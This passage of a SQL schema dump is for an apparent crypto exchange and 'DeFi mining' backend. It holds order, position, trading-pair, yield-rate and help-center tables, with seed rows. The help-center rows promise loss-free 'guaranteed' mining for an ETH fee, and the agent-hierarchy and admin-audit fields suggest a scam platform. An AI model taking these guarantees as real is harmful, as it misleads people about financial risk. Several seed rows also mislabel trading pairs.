structure for t_contract_order +-- ---------------------------- +DROP TABLE IF EXISTS `t_contract_order`; +CREATE TABLE `t_contract_order` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键', + `type` tinyint(1) NOT NULL COMMENT '(0 买多 1卖空)', + `delegate_type` tinyint(1) NOT NULL COMMENT '委托类型(0 限价 1 市价 2 止盈止损 3 计划委托)', + `status` tinyint(1) NULL DEFAULT NULL COMMENT '状态 0 (等待成交 1 完全成交 3已撤销)', + `delegate_total` decimal(20, 6) NULL DEFAULT NULL COMMENT '委托总量', + `delegate_price` decimal(20, 6) NULL DEFAULT NULL COMMENT '委托价格', + `deal_num` decimal(20, 6) NULL DEFAULT NULL COMMENT '已成交量', + `deal_price` decimal(20, 6) NULL DEFAULT NULL COMMENT '成交价', + `delegate_value` decimal(20, 6) NULL DEFAULT NULL COMMENT '委托价值', + `deal_value` decimal(20, 6) NULL DEFAULT NULL COMMENT '成交价值', + `delegate_time` datetime(0) NULL DEFAULT NULL COMMENT '委托时间', + `deal_time` datetime(0) NULL DEFAULT NULL COMMENT '成交时间', + `coin_symbol` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '交易币种', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `order_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '订单编号', + `user_id` bigint(0) NOT NULL COMMENT '用户id', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `fee` decimal(20, 4) NULL DEFAULT NULL COMMENT '手续费', + `base_coin` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '基础币种(USDT)', + `leverage` decimal(4, 0) NULL DEFAULT NULL COMMENT '杠杆', + `symbol` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '交易对', + `admin_user_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '代理IDS', + `admin_parent_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_contract_position +-- ---------------------------- +DROP TABLE IF EXISTS `t_contract_position`; +CREATE TABLE `t_contract_position` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键', + `type` tinyint(1) NOT NULL COMMENT '(0 买多 1卖空)', + `delegate_type` tinyint(1) NOT NULL COMMENT '委托类型(0 限价 1 市价 2 止盈止损 3 计划委托)', + `status` tinyint(1) NOT NULL COMMENT '状态 0 (等待成交 1 完全成交 ', + `amount` decimal(20, 4) NOT NULL COMMENT '保证金', + `open_num` decimal(20, 8) NOT NULL COMMENT '持仓数量', + `open_price` decimal(20, 8) NOT NULL COMMENT '开仓均价', + `close_price` decimal(20, 8) NOT NULL COMMENT '预计强平价', + `order_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '仓位编号', + `user_id` bigint(0) NOT NULL COMMENT '用户id', + `open_fee` decimal(20, 4) NOT NULL COMMENT '开仓手续费', + `leverage` decimal(4, 0) NOT NULL COMMENT '杠杆', + `symbol` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NOT NULL COMMENT '交易对', + `create_time` datetime(0) NOT NULL COMMENT '创建时间', + `adjust_amount` decimal(20, 4) NULL DEFAULT NULL COMMENT '调整保证金', + `earn` decimal(20, 4) NULL DEFAULT NULL COMMENT '收益', + `deal_price` decimal(20, 6) NULL DEFAULT 0.000000 COMMENT '成交价', + `deal_num` decimal(20, 6) NULL DEFAULT NULL COMMENT '成交量', + `deal_time` datetime(0) NULL DEFAULT NULL COMMENT '成交时间', + `sell_fee` decimal(20, 4) NULL DEFAULT NULL COMMENT '卖出手续费', + `remain_margin` decimal(20, 8) NULL DEFAULT 0.00000000 COMMENT '剩余保证金', + `asset_fee` decimal(20, 4) NULL DEFAULT NULL COMMENT '周期手续费', + `entrustment_value` decimal(20, 4) NULL DEFAULT NULL, + `deal_value` decimal(20, 4) NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL, + `admin_parent_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '代理IDS', + `audit_status` int(0) NULL DEFAULT 0 COMMENT '审核', + `delivery_days` int(0) NULL DEFAULT 0 COMMENT '交割时间', + `min_margin` decimal(20, 4) NULL DEFAULT 0.0000 COMMENT '最小保证金', + `loss_rate` decimal(20, 4) NULL DEFAULT 0.0000 COMMENT '止损率', + `earn_rate` decimal(20, 4) NULL DEFAULT 0.0000 COMMENT '止盈率', + `sub_time` datetime(0) NULL DEFAULT NULL COMMENT '提交时间', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_currency_order +-- ---------------------------- +DROP TABLE IF EXISTS `t_currency_order`; +CREATE TABLE `t_currency_order` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键', + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户id', + `type` tinyint(1) NULL DEFAULT NULL COMMENT '(0 买入 1卖出)', + `delegate_type` tinyint(1) NULL DEFAULT NULL COMMENT '委托类型(0 限价 1 市价 2 止盈止损 3 计划委托)', + `status` tinyint(1) NULL DEFAULT NULL COMMENT '状态 0 (等待成交 1 完全成交 3已撤销)', + `order_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '订单编号', + `symbol` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '交易币种', + `coin` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '结算币种', + `delegate_total` decimal(20, 6) NULL DEFAULT NULL COMMENT '委托总量', + `delegate_price` decimal(20, 6) NULL DEFAULT NULL COMMENT '委托价格', + `delegate_value` decimal(20, 4) NULL DEFAULT NULL COMMENT '委托价值', + `delegate_time` datetime(0) NULL DEFAULT NULL COMMENT '委托时间', + `deal_num` decimal(20, 6) NULL DEFAULT NULL COMMENT '成交总量', + `deal_price` decimal(20, 6) NULL DEFAULT NULL COMMENT '成交价格', + `deal_value` decimal(20, 4) NULL DEFAULT NULL COMMENT '成交价值', + `deal_time` datetime(0) NULL DEFAULT NULL COMMENT '成交时间', + `fee` decimal(20, 4) NULL DEFAULT NULL COMMENT '手续费', + `admin_parent_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL COMMENT '后台代理ids', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, + `create_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, + `update_by` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 327 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_general_ci COMMENT = '币币交易订单表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_currency_symbol +-- ---------------------------- +DROP TABLE IF EXISTS `t_currency_symbol`; +CREATE TABLE `t_currency_symbol` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '主键id', + `symbol` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '交易对', + `show_symbol` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '展示交易对', + `coin` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '交易币种', + `base_coin` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '结算币种', + `fee_rate` decimal(20, 6) NULL DEFAULT 0.000000 COMMENT '手续费率', + `coin_precision` tinyint(0) NULL DEFAULT 0 COMMENT '交易币种精度', + `base_precision` tinyint(0) NULL DEFAULT 0 COMMENT '结算币种精度', + `sell_min` decimal(20, 6) NULL DEFAULT 1.000000 COMMENT '最低卖单价', + `buy_max` decimal(20, 6) NULL DEFAULT 100000.000000 COMMENT '最高买单价', + `order_min` decimal(20, 6) NULL DEFAULT 1.000000 COMMENT '最小下单量', + `order_max` decimal(20, 6) NULL DEFAULT 100000.000000 COMMENT '最大下单量', + `enable` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '启用禁用 1=启用 2=禁用', + `is_show` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '前端是否显示 1=显示 2=隐藏', + `is_deal` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '是否可交易 1=是 2=否', + `market_buy` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '市价买 1=可以 2=不可以', + `market_sell` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '市价卖 1=可以 2=不可以', + `limited_buy` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '限价买 1=可以 2=不可以', + `limited_sell` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '限价卖 1=可以 2=不可以', + `logo` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '图标', + `market` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '交易所', + `create_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `create_time` datetime(0) NULL DEFAULT NULL, + `update_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL, + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `min_sell` decimal(20, 6) NULL DEFAULT 0.000000 COMMENT '最低卖出量', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 46 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '币币交易币种配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_currency_symbol +-- ---------------------------- +INSERT INTO `t_currency_symbol` VALUES (29, 'btcusdt', 'BTC/USDT', 'btc', 'usdt', 0.000000, 4, 4, 100000.000000, 100000.000000, 100.000000, 10000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin.png', 'binance', 'admin', NULL, 'admin', '2023-11-23 21:14:01', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (30, 'ethusdt', 'ETH/USDT', 'eth', 'usdt', 0.000000, 4, 4, 10000.000000, 10000.000000, 0.000010, 1000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum.png', 'binance', 'admin', NULL, 'admin', '2023-08-24 23:29:43', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (31, 'xrpusdt', 'XRP/USDT', 'xrp', 'usdt', 0.000000, 4, 4, 1000.000000, 1000.000000, 0.000000, 1000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ripple.png', 'binance', 'admin', NULL, 'admin', '2023-08-24 23:29:53', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (32, 'ltcusdt', 'LTC/USDT', 'ltc', 'usdt', 0.000000, 4, 4, 10000.000000, 10000.000000, 0.000010, 1000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/litecoin.png', 'binance', 'admin', NULL, 'admin', '2023-08-24 23:29:58', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (33, 'bnbusdt', 'BNB/USDT', 'bnb', 'usdt', 0.000000, 4, 4, 10000.000000, 10000.000000, 0.000010, 1000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/binance-coin.png', 'binance', 'admin', NULL, 'admin', '2023-08-24 23:30:02', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (34, 'maticusdt', 'BTC/USDT', 'matic', 'usdt', 0.000000, 4, 4, 10000.000000, 10000.000000, 0.000010, 1000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/ico/da9bc5822529a2c225e057c0d8d50f36.png', 'binance', 'admin', NULL, 'admin', '2023-08-24 23:30:25', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (35, 'solusdt', 'SOL/USDT', 'sol', 'usdt', 0.000000, 4, 4, 10000.000000, 10000.000000, 0.000010, 1000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/solana.png', 'binance', 'admin', NULL, 'admin', '2023-08-24 23:30:30', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (37, 'trxusdt', 'TRX/USDT', 'trx', 'usdt', 0.000000, 4, 4, 10000.000000, 10000.000000, 0.000010, 1000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tron.png', 'binance', 'admin', NULL, 'admin', '2023-08-24 23:30:34', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (40, 'blzusdt', 'BLZ/USDT', 'blz', 'usdt', 0.000000, 4, 4, 1000.000000, 1000.000000, 0.000010, 1000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bluzelle.png', 'binance', 'admin', NULL, 'admin', '2023-08-24 23:30:39', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (41, 'runeusdt', 'BTC/USDT', 'rune', 'usdt', 0.000000, 4, 4, 1000.000000, 1000.000000, 0.000010, 1000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/thorchain.png', 'binance', 'admin', NULL, 'admin', '2023-08-24 23:30:43', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (42, 'leverusdt', 'LEVER/USDT', 'lever', 'usdt', 1.000000, 4, 4, 1000.000000, 1000.000000, 0.000100, 1000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lever.jpeg', 'binance', 'admin', NULL, 'admin', '2023-08-22 20:19:03', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (43, 'adausdt', 'BTC/USDT', 'ada', 'usdt', 1.000000, 4, 4, 1000.000000, 1000.000000, 0.010000, 1000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cardano.png', 'binance', 'admin', NULL, 'admin', '2023-08-22 20:19:18', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (44, 'dogeusdt', 'DOGE/USDT', 'doge', 'usdt', 1.000000, 0, 0, 1.000000, 100000.000000, 1.000000, 100000000000.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/dogecoin.png/coinInfo.png', 'binance', 'admin', NULL, 'admin', '2023-08-23 11:00:56', NULL, NULL, 0.000000); +INSERT INTO `t_currency_symbol` VALUES (45, 'gmeeusdt', 'GMEE/USDT', 'gmee', 'usdt', 0.005000, 0, 0, 1.000000, 100000.000000, 10.000000, 10.000000, '1', '1', '1', '1', '1', '1', '1', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gamee.png', 'huobi', 'admin', NULL, 'admin', '2024-02-11 16:21:31', NULL, NULL, 10.000000); + +-- ---------------------------- +-- Table structure for t_defi_activity +-- ---------------------------- +DROP TABLE IF EXISTS `t_defi_activity`; +CREATE TABLE `t_defi_activity` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT 'id', + `totle_amount` decimal(22, 6) NULL DEFAULT NULL COMMENT '需要金额', + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户id', + `end_time` datetime(0) NULL DEFAULT NULL COMMENT '结束时间', + `amount` decimal(22, 6) NULL DEFAULT NULL COMMENT '奖励金额', + `type` int(0) NULL DEFAULT NULL COMMENT '0-usdt 1-eth', + `status` int(0) NULL DEFAULT 0 COMMENT '0未领取 1已读 2已领取', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 3 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '空投活动' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_defi_order +-- ---------------------------- +DROP TABLE IF EXISTS `t_defi_order`; +CREATE TABLE `t_defi_order` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT 'id', + `amount` decimal(22, 6) NULL DEFAULT NULL COMMENT '收益金额', + `totle_amount` decimal(22, 6) NULL DEFAULT NULL COMMENT '钱包金额', + `rate` decimal(22, 6) NULL DEFAULT NULL COMMENT '收益率', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `user_id` bigint(0) NULL DEFAULT NULL COMMENT '用户id', + `admin_parent_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '代理ids', + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 5 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = 'defi订单' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_defi_rate +-- ---------------------------- +DROP TABLE IF EXISTS `t_defi_rate`; +CREATE TABLE `t_defi_rate` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT 'id', + `min_amount` decimal(22, 4) NULL DEFAULT NULL COMMENT '最小金额', + `max_amount` decimal(22, 4) NULL DEFAULT NULL COMMENT '最大金额', + `rate` decimal(22, 6) NULL DEFAULT NULL COMMENT '利率', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = 'defi挖矿利率配置' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_defi_rate +-- ---------------------------- +INSERT INTO `t_defi_rate` VALUES (1, 1.0000, 4999.0000, 0.010000, '', '2023-08-19 19:34:22', '', '2023-08-24 23:49:24', NULL, NULL); +INSERT INTO `t_defi_rate` VALUES (2, 5000.0000, 19999.0000, 0.013000, '', '2023-08-19 19:34:31', '', '2023-08-24 23:49:40', NULL, NULL); +INSERT INTO `t_defi_rate` VALUES (3, 20000.0000, 49999.0000, 0.016000, '', '2023-08-19 19:34:45', '', '2023-08-24 23:49:46', NULL, NULL); +INSERT INTO `t_defi_rate` VALUES (4, 50000.0000, 99999.0000, 0.020000, '', '2023-08-19 19:34:56', '', '2023-08-24 23:49:54', NULL, NULL); +INSERT INTO `t_defi_rate` VALUES (5, 100000.0000, 299999.0000, 0.025000, '', '2023-08-19 19:35:10', '', '2023-08-24 23:49:59', NULL, NULL); +INSERT INTO `t_defi_rate` VALUES (6, 300000.0000, 2000000.0000, 0.030000, '', '2023-08-24 23:47:59', '', '2023-08-24 23:50:09', NULL, NULL); + +-- ---------------------------- +-- Table structure for t_exchange_coin_record +-- ---------------------------- +DROP TABLE IF EXISTS `t_exchange_coin_record`; +CREATE TABLE `t_exchange_coin_record` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `from_coin` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL DEFAULT 'USDT', + `to_coin` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NOT NULL DEFAULT 'USDT', + `user_id` int(0) NOT NULL COMMENT '用户id', + `username` varchar(256) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '\n用户名称', + `address` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL COMMENT '用户地址', + `status` tinyint(0) NULL DEFAULT 0 COMMENT '兑换状态0:已提交;1:成功;2失败', + `amount` decimal(20, 11) NOT NULL DEFAULT 0.00000000000 COMMENT '金额', + `third_rate` decimal(20, 12) NULL DEFAULT 0.000000000000 COMMENT '三方汇率', + `system_rate` decimal(20, 12) NULL DEFAULT 0.000000000000 COMMENT '系统汇率', + `admin_parent_ids` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `create_time` datetime(0) NOT NULL DEFAULT CURRENT_TIMESTAMP(0), + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL ON UPDATE CURRENT_TIMESTAMP(0), + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + `search_value` varchar(1024) CHARACTER SET utf8mb4 COLLATE utf8mb4_bin NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE, + INDEX `status`(`status`) USING BTREE, + INDEX `create_time`(`create_time`) USING BTREE, + INDEX `address`(`address`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1679077337070383151 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_bin COMMENT = '币种兑换记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for t_help_center +-- ---------------------------- +DROP TABLE IF EXISTS `t_help_center`; +CREATE TABLE `t_help_center` ( + `id` bigint(0) NOT NULL AUTO_INCREMENT, + `title` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '标题', + `language` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '语言', + `enable` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '1=启用 2=禁用', + `del_flag` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '0=正常 1=删除', + `create_time` datetime(0) NULL DEFAULT NULL, + `create_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL, + `update_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + `show_symbol` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '帮助中心' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_help_center +-- ---------------------------- +INSERT INTO `t_help_center` VALUES (4, '1', 'en', '1', '1', '2023-08-22 15:21:34', 'admin', '2023-08-22 15:21:34', 'admin', NULL, NULL); +INSERT INTO `t_help_center` VALUES (5, '热门问题', 'zh', '1', '0', '2023-08-22 19:10:12', 'admin', '2023-08-22 19:11:44', 'admin', NULL, NULL); +INSERT INTO `t_help_center` VALUES (6, '新手必读', 'zh', '1', '0', '2023-08-22 19:46:37', 'admin', '2023-08-22 19:46:37', 'admin', NULL, NULL); + +-- ---------------------------- +-- Table structure for t_help_center_info +-- ---------------------------- +DROP TABLE IF EXISTS `t_help_center_info`; +CREATE TABLE `t_help_center_info` ( + `id` bigint(20) UNSIGNED ZEROFILL NOT NULL AUTO_INCREMENT, + `help_center_id` bigint(0) NULL DEFAULT NULL COMMENT '帮助中心主键id', + `question` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '标题', + `content` text CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL COMMENT '内容', + `language` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '语言', + `enable` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '1' COMMENT '1=启用 2=禁用', + `del_flag` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '0=正常 1=删除', + `create_time` datetime(0) NULL DEFAULT NULL, + `create_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `update_time` datetime(0) NULL DEFAULT NULL, + `update_by` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + `remark` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + `show_symbol` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL, + PRIMARY KEY (`id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 6 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '帮助中心问题详情' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of t_help_center_info +-- ---------------------------- +INSERT INTO `t_help_center_info` VALUES (00000000000000000001, 5, '如何加入流动性挖矿?', '

    参与无损保障的流动性挖矿,需要支付ETH作为矿工费用,一个加密货币钱包地址只需要认领一次,成功后自动打开挖矿权限。

    ', 'zh', '1', '0', '2023-08-22 19:11:29', 'admin', '2023-08-22 19:11:29', 'admin', NULL, NULL); +INSERT INTO `t_help_center_info` VALUES (00000000000000000002, 5, '我要怎么取钱?', '

    您可以将每天产生的币种转换为USDT,然后发起提现。USDT提现将自动发送到您添加到节点的钱包地址,不支持其他地址。

